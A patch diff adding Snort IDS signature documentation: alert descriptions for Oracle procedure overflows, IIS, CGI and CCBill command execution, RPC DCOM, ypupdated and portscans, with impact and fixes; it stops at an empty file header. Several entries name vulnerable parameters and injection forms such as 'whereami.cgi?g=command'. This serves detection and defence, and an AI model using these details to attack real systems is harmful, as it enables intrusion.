--- snort-2.8.5.2.orig/doc/signatures/2615.txt
+++ snort-2.8.5.2/doc/signatures/2615.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2615
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases may use a built-in procedure to assist in database
+replication. The "grant_surrogate_repcate" procedure contains a
+programming error that may allow an attacker to execute a buffer
+overflow attack.
+
+This overflow is triggered by a long string in a parameter for the
+procedure.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string to the "userid" variable to cause
+the overflow. The result could permit the attacker to gain escalated
+privileges and run code of their choosing. This attack requires an
+attacker to logon to the database with a valid username and password
+combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck97.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1756.txt
+++ snort-2.8.5.2/doc/signatures/1756.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid: 1756
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a potential weakness on a host running Microsoft Internet Information Server (IIS). 
+
+--
+Impact:
+Information gathering possible administrator access.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit potential weaknesses in a host running Microsoft IIS.
+
+The attacker may be trying to gain information on the IIS implementation on the host, this may be the prelude to an attack against that host using that information.
+
+The attacker may also be trying to gain administrator access to the host, garner information on users of the system or retrieve sensitive customer information.
+
+Some applications may store sensitive information such as database connections, user information, passwords and customer information in files accessible via a web interface. Care should be taken to ensure these files are not accessible to external sources.
+
+--
+Affected Systems:
+Any host using IIS.
+
+--
+Attack Scenarios:
+An attacker can retrieve a sensitive file containing information on the IIS implementation. The attacker might then gain administrator access to the site, deface the content or gain access to a database.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the IIS implementation on the host. Ensure all measures have been taken to deny access to sensitive files.
+
+Ensure that the IIS implementation is fully patched.
+
+Ensure that the underlying operating system is fully patched.
+
+Employ strategies to harden the IIS implementation and operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1936.txt
+++ snort-2.8.5.2/doc/signatures/1936.txt
@@ -0,0 +1,53 @@
+Rule:
+
+--
+Sid:
+1936
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overflow condition in the Post Office Protocol (POP) command AUTH.
+
+--
+Impact:
+Possible remote execution of arbitrary code leading to a remote root 
+compromise.
+
+--
+Detailed Information:
+A vulnerability exists such that an attacker may overflow a buffer by 
+sending data where a line feed character should occur to a POP server 
+via the AUTH command.
+
+--
+Attack Scenarios:
+Simple. An attacker can supply specially crafted packets to a POP server
+via the AUTH function. 
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/122-8.txt
+++ snort-2.8.5.2/doc/signatures/122-8.txt
@@ -0,0 +1,93 @@
+
+
+Rule:
+
+--
+Sid:
+122-8
+
+--
+Summary:
+This event is generated when the pre-processor sfPortscan detects
+network traffic that may constitute an attack. Specifically a tcp
+filtered distributed portscan was detected.
+
+--
+Impact:
+Unknown. This is normally an indicator of possible network
+reconnaisance and may be the prelude to a targeted attack against the
+targeted systems.
+
+--
+Detailed Information:
+This event is generated when the sfPortscan pre-processor detects
+network traffic that may consititute an attack.
+
+A portscan is often the first stage in a targeted attack against a
+system. An attacker can use different portscanning techniques and tools
+to determine the target host operating system and application versions
+running on the host to determine the possible attack vectors against
+that host.
+
+More information on this event can be found in the individual
+pre-processor documentation README.sfportscan in the docs directory of
+the snort source. Descriptions of different types of portscanning
+techniques can also be found in the same documentation, along with
+instructions and examples on how to tune and use the pre-processor.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+An attacker often uses a portscanning technique to determine operating
+system type and version and also application versions to determine
+possible effective attack vectors that can be used against the target
+host.
+
+--
+Ease of Attack:
+Simple. Many portscanning tools are freely available.
+
+--
+False Positives:
+While not necessarily a false positive, a security audit or penetration
+test will often employ the use of a portscan in the same way an
+attacker might use the technique. If this is the case, the
+pre-processor should be tuned to ignore the audit if so desired.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check for other events targeting the host.
+
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches as appropriate.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Daniel Roelker <droelker@sourcefire.com>
+Marc Norton    <mnorton@sourcefire.com>
+Jeremy Hewlett <jh@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Nmap:
+http://www.insecure.org/nmap/
+
+Port Scanning Techniques and the Defense Against Them - Roger
+Christopher, SANS:
+http://www.sans.org/rr/whitepapers/auditing/70.php
+
+Hypervivid Tiger Team - Port-Scanning: A Practical Approach
+http://www.hcsw.org/reading/nmapguide.txt
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2617.txt
+++ snort-2.8.5.2/doc/signatures/2617.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2617
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases may use a built-in procedure to assist in database
+replication. The "alter_mview_propagation" procedure contains a
+programming error that may allow an attacker to execute a buffer
+overflow attack.
+
+This overflow is triggered by a long string in a parameter for the
+procedure.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string to the "gname" variable to cause
+the overflow. The result could permit the attacker to gain escalated
+privileges and run code of their choosing. This attack requires an
+attacker to logon to the database with a valid username and password
+combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck632.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2407.txt
+++ snort-2.8.5.2/doc/signatures/2407.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+2407
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering  and system integrity compromise. This rule generates 
+an event on a request for the util.pl file, part of the CalaCode @mail 
+Webmail system.  Some versions of this software are vulnerable to a cross 
+site scripting attack.
+
+--
+Detailed Information:
+When accessing the webmail service of @mail, a
+cross site scripting bug can be abused in the util.pl file.  When
+addressing the "settings" bar, Javascript code can be inserted into the
+"Displayed Name" field.
+
+This rule will also trigger on some scripted HTTP vulnerability
+scans.  Many vulnerability assessment tools include a check which will
+verify whether the util.pl file is available on a web server.  There are
+multiple other known vulnerabilities in version 3.64 of the @mail system,
+and the existance of this file would reveal its presence.
+
+--
+Affected Systems:
+	@mail version 3.64 and prior
+
+--
+Attack Scenarios:
+A user can submit malicious Javascript to the "Displayed
+Name" field.  As usual with most browsers, this script will be executed
+within the security context of the web site.  The session ID of the
+connection, which is available from within this security context, can be
+abused by the attacker to obtain access to the session and the user's e-mail account.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Snort documentation contributed by Maarten Van Horenbeeck, GCIA <maarten@daemon.be>
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/385.txt
+++ snort-2.8.5.2/doc/signatures/385.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+385
+
+--
+Summary:
+This event is generated when a Windows traceroute (tracert) is detected.
+
+--
+Impact:
+Information gathering.  A traceroute can be used to discover live hosts and network topologies.
+
+--
+Detailed Information:
+A Windows traceroute command uses an ICMP echo request with a lower than normal Time to Live (TTL) value to identify live hosts and network topolgies.  The TTL value is manipulated by the sending host to discover all routers traversed from the source host to the destination host.  Eventually, a TTL value of 1 is observed, which elicits an ICMP error message of time exceeded in-transit.  A router sends this ICMP error message to the host running traceroute.  The traceroute host will record this as a router and continue to incrementally manipulate the TTL until the destination host is reached. 
+
+Additionally There are at least three different implementations of 
+traceroute.  In one implementation traceroute works by sending an ICMP 
+Echo Request packet to a destination host with a TTL value of 1.  If the
+host is more than one hop away, the first route that receives the back 
+will send back an ICMP packet indicating that the TTL was exceeded.  The
+address of this router is then listed as the first hop.  The packet is 
+then sent out again with a TTL of 2.  This continues until the 
+destination host is able to reply or some maximum TTL value is reached.
+
+The other two implementations use the same TTL-based concept with an
+ICMP type of 30(traceroute) or with an UDP packet destined for an
+ephemeral port.
+
+--
+Affected Systems:
+All
+
+--
+Attack Scenarios:
+An attacker may use a traceroute to discover live hosts and routers on a target network in preparation for an attack.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+The traceroute command may be used to legitimately troubleshoot networking problems.
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Block inbound ICMP echo requests.
+
+--
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by  by Steven Alexander<alexander.s@mccd.edu>
+
+--
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS118
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1419.txt
+++ snort-2.8.5.2/doc/signatures/1419.txt
@@ -0,0 +1,77 @@
+Rule:
+
+--
+Sid:
+1419
+
+--
+
+Summary:
+This event is generated when an SNMP-Trap connection over UDP to an SNMP
+daemon is made.
+
+--
+
+Impact:
+Information gathering
+
+--
+
+Detailed Information:
+The SNMP (Simple Network Management Protocol) Trap daemon usually 
+listens on port 162, tcp or udp.
+
+An attacker may attempt to send this request to determine if a device is
+using SNMP.
+
+--
+
+Affected Systems:
+Devices running SNMP daemons on well known ports.
+
+--
+
+Attack Scenarios:
+An attacker sends a packet directed to udp port 162, if sucessful a 
+reply is generated and the attacker may then launch further attacks 
+against the SNMP daemon.
+
+--
+
+Ease of Attack:
+Simple.
+
+--
+
+False Positives:
+None known.
+
+--
+
+False Negatives:
+None known.
+
+--
+
+Corrective Action:
+Use a packet filtering firewall to protect devices using the SNMP 
+protocol and only allow connections from well-known hosts.
+
+--
+
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Chaos <c@aufbix.org>
+
+-- 
+
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0013
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0012
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1676.txt
+++ snort-2.8.5.2/doc/signatures/1676.txt
@@ -0,0 +1,70 @@
+Rule:  
+
+--
+Sid: 1676
+
+-- 
+
+Summary: 
+This event is generated when a command is issued to an Oracle database server that may result in a serious compromise of the data stored on that system.
+
+-- 
+Impact: 
+Serious. An attacker may have gained superuser access to the system.
+
+--
+Detailed Information:
+This event is generated when an attacker issues a special command to an Oracle database that may result in a serious compromise of all data stored on that system.
+
+Such commands may be used to gain access to a system with the privileges of an administrator, delete data, add data, add users, delete users, return sensitive information or gain intelligence on the server software for further system compromise.
+ 
+This connection can either be a legitimate telnet connection or the result of spawning a remote shell as a consequence of a successful network exploit. 
+
+Oracle servers running on a Windows platform may listen on any arbitrary
+port. Change the $ORACLE_PORTS variable in snort.conf to "any" if this
+is applicable to the protected network.
+
+--
+
+Attack Scenarios: 
+Simple. These are Oracle database commands.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives: 
+This event may be generated by a database administrator logging in and issuing database commands from a location outside the protected network.
+
+--
+False Negatives:
+Configure your ORACLE_PORTS variable correctly for the environment you are in. 
+In many situations ORACLE negotiates a communication port. This means that 1521 
+and 1526 are not used for communication during the entire transaction. A new 
+port is negotiated after the initial connect message, all communication after 
+that uses this other port. If you are in an environment such as this, you should 
+set ORACLE_PORTS to "any" in snort.conf. 
+ 
+Otherwise, there are no known false negatives.
+
+-- 
+
+Corrective Action: 
+Use a firewall to disallow direct access to the Oracle database from sources external to the protected network.
+Ensure that this event was not generated by a legitimate session then investigate the server for signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors: 
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/315.txt
+++ snort-2.8.5.2/doc/signatures/315.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid: 315
+
+--
+Summary:
+This event is generated when an attempt is made to escalate privileges remotely using a vulnerability in mountd.
+
+--
+Impact:
+System compromize presenting the attacker with escalated system privileges .
+
+--
+Detailed Information:
+Some implementations of the Network File System (NFS) on Linux systems use a vulnerable version of mountd that is subject to a buffer overflow condition in the logging subsystem.
+
+The mountd logging facility also logs failed attempts to mount shared resources, even if NFS is not enabled on the system. This means that exploitation of this issue is possible wether or not NFS is being used.
+
+Affected Systems:
+	Caldera OpenLinux Standard 1.2
+	RedHat Linux 2.0, 2.1, 3.0.3, 4.0, 4.1, 4.2, 5.0, 5.1
+
+--
+Attack Scenarios:
+Exploit scripts are available
+
+--
+Ease of Attack:
+Simple. Exploits are available.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/121
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0917
+
+CERT:
+http://www.cert.org/advisories/CA-1998-12.html
+http://www.cert.org/summaries/CS-98-08.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/864.txt
+++ snort-2.8.5.2/doc/signatures/864.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+864
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2576.txt
+++ snort-2.8.5.2/doc/signatures/2576.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+2576
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases may use an inbuilt procedure to generate triggers
+needed for database replication. The "generate_replication_support"
+procedure contains a programming error that may allow an attacker to
+execute a buffer overflow attack.
+
+This overflow is triggered by long strings in some parameters for the
+procedure.
+
+Oracle servers running on a Windows platform may listen on any arbitrary
+port. Change the $ORACLE_PORTS variable in snort.conf to "any" if this
+is applicable to the protected network.
+
+--
+Affected Systems:
+	Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string to either the "package_prefix" or
+"procedure_prefix" variables to cause the overflow. The result could
+permit the attacker to gain escalated privileges and run code of their
+choosing.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Application Security Inc.
+https://www.appsecinc.com/Policy/PolicyCheck93.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2583.txt
+++ snort-2.8.5.2/doc/signatures/2583.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+2583
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a vulnerability
+associated with CVS.
+
+--
+Impact:
+A successful attack may perform a buffer overflow or a denial of service by
+either causing the CVS server to terminate abruptly or causing an exhaustion of
+disk resources.
+
+--
+Detailed Information:
+A CVS client transaction may reference a file using a relative path
+requiring the use of a directory traversal.  The Max-dotdot keyword and
+appropriate argument are created by the CVS client software to handle
+relative paths.  The appropriate argument represents the maximum number of
+directory levels to be traversed.  It is possible for an attacker
+to supply an overly large value to the Max-dotdot keyword, causing an
+incorrect allocation of memory and possibly causing a buffer overflow or the CVS
+server to crash.  In addition, temporary files are not deleted enabling a disk
+resource exhaustion attack, if repeated many times.  It should be noted
+that an attacker must have CVS access privileges in order to attempt
+these attacks.
+
+
+--
+Affected Systems:
+CVS versions 1.12.8 with the exception of version 1.11.17
+
+--
+Attack Scenarios:
+An attacker can connect to a CVS server and craft an overly large Max-dotdot
+argument value, causing a buffer overflow or causing the vulnerable CVS server
+to crash.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References
+
+CVE:
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0417
+
+Bugtraq:
+http://www.securityfocus.com/bid/10499
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3179.txt
+++ snort-2.8.5.2/doc/signatures/3179.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3179
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/972.txt
+++ snort-2.8.5.2/doc/signatures/972.txt
@@ -0,0 +1,61 @@
+Will be obsolete when httpinspect is used
+Rule:
+
+--
+Sid:
+972
+
+--
+Summary:
+This event is generated when an attempt is made to access an Active Server Page (ASP) .asp file when the period is hex encoded as "%2e". 
+
+--
+Impact:
+Intelligence gathering activity.  A vulnerability exists that discloses the .asp file contents when it is reference using the "%2e" hex encoding. 
+
+--
+Detailed Information:
+Microsoft Internet Information Service (IIS) uses Active Server Page to supply HTML and server-side scripting.  ASP files use a .asp extension.  When the period of the .asp is hex-encoded with a "%2e" to reference an ASP file, the contents of the file are disclosed.
+
+--
+Affected Systems:
+Hosts running IIS 3.0
+
+--
+Attack Scenarios:
+An attacker can attempt use the hex-encoded reference to the .asp file to see the contents of the file.  Sensitive information may by disclosed depending on the selected file. 
+
+--
+Ease of Attack:
+Simple. 
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to a more current version of IIS.
+ 
+--
+Contributors:
+Original rule writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0253
+
+Bugtraq:
+http://www.securityfocus.com/bid/1814
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/903.txt
+++ snort-2.8.5.2/doc/signatures/903.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+903
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a ColdFusion web server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Coldfusion. Many known vulnerabilities exist for this platform and 
+the attack scenarios are legion.
+
+--
+Affected Systems:
+	All systems running ColdFusion
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1424.txt
+++ snort-2.8.5.2/doc/signatures/1424.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+1424
+
+--
+Summary:
+This event is generated when suspicious shell code is detected in
+network traffic.
+
+--
+Impact:
+Denial of Service (DoS) possible execution of arbitrary code.
+
+--
+Detailed Information:
+This event is generated when suspicious shell code is detected. Many
+buffer overflow attacks contain large numbers of NOOP instrucions to pad
+out the request. Other attacks contain specific shell code sequences
+directed at certain applications or services.
+
+The shellcode in question may also use Unicode encoding.
+
+--
+Affected Systems:
+	Any software running on x86 architecture.
+
+--
+Attack Scenarios:
+An attacker may exploit a DCERPC service by sending shellcode in the RPC
+data stream. Sending large amounts of data to the Microsoft Workstation
+service can cause a buffer overflow condition in the logging function
+thus presenting an attacker with the opportunity to issue a DoS attack
+or in some cases, to execute code of their choosing.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+False positives may be generated by binary file transfers.
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Make sure the target host has all current patches applied and has the
+latest software versions installed.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2089.txt
+++ snort-2.8.5.2/doc/signatures/2089.txt
@@ -0,0 +1,87 @@
+Rule:
+
+--
+Sid:
+2089
+
+--
+Summary:
+vulnerability in the rcp service ypupdated.
+
+--
+Impact:
+Information disclosure and possible code execution.
+
+Unauthorized super user access to the vulnerable host resulting in a 
+compromise of all data on the host and any network resources that host 
+is connected to. Full control of the victim is gained.
+
+--
+Detailed Information:
+The ypupdated service is used in conjunction with NIS servers to 
+remotely update changes made in NIS databases.
+
+On recieving a request the yupdated service executes a make command 
+using the Bourne shell. It is possible to execute code using 
+metacharacters in the request.
+
+Commands and code after the metacharacters in the request will be 
+executed with the privileges of the super user on the vulnerable system.
+
+--
+Affected Systems:
+	HP-UX 10.1, 10.10 and 10.20
+	
+	IBM AIX 3.2 and 4.1
+	
+	NEC EWS-UX/V (Rel4.2MP), (Rel4.2)
+	NEC UP-UX/V (Rel4.2MP)
+	NEC UX/4800 (64)
+	
+	SGI IRIX 3.2, 3.3, 3.3.1, 3.3.2, 3.3.3
+	SGI IRIX 4.0, 4.0.1 T, 4.0.1,4.0.2, 4.0.3, 4.0.4 T, 4.0.4 B, 4.0.4, 4.0.5 IPR, 4.0.5 H, 4.0.5 G, 4.0.5 F, 4.0.5 E, 4.0.5 D, 4.0.5 A, 4.0.5 (IOP), 4.0.5
+	SGI IRIX 5.0, 5.0.1, 5.1, 5.1.1, 5.2, 5.3 XFS, 5.3
+	SGI IRIX 6.0, 6.0.1 XFS, 6.0.1
+	
+	Sun SunOS 4.1 PSR_A, 4.1, 4.1.1, 4.1.2, 4.1.3 c, 4.1.3 _U1, 4.1.3, 4.1.4 -JL, 4.1.4
+
+--
+Attack Scenarios:
+The attacker needs to craft a specially formulated request to the 
+rpc.ypupdated service containing a long username. An exploit for this 
+vulnerability exists.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Apply pacthes for the affected systems as soon as possible.
+
+Disable the rpc.ypupdated daemon.
+
+Disallow all RPC requests from external sources and use a firewall to 
+block access to RPC ports from outside the LAN.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/1749
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2397.txt
+++ snort-2.8.5.2/doc/signatures/2397.txt
@@ -0,0 +1,54 @@
+Rule:
+
+--
+Sid:
+2397
+
+--
+Summary:
+This event is generated when an attacker includes "/whereami.cgi" in a URL, typically aimed at a web server running the CCBill software. 
+
+--
+Impact:
+Execution of arbitrary commands.
+
+--
+Detailed Information:
+The CCBill software is available to manage credit card information for UNIX and Windows hosts.  The script whereami.cgi is used for technical support of the software.  A vulnerability exists in the whereami.cgi script that allows the execution of arbitrary commands from an attacker who passes a command via whereami.cgi?g=command format in a URL.  Supplied commands can list file names, show the contents of the password file, or install a backdoor to name a few actions that an attacker may attempt.
+
+--
+Affected Systems:
+Hosts running CCBill software that has the whereami.cgi in the server's CGI path.
+
+--
+Attack Scenarios:
+An attacker can send a request to execute an arbitrary command.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Remove the whereami.cgi command.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+bugtraq
+http://www.securityfocus.com/bid/8095
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2605.txt
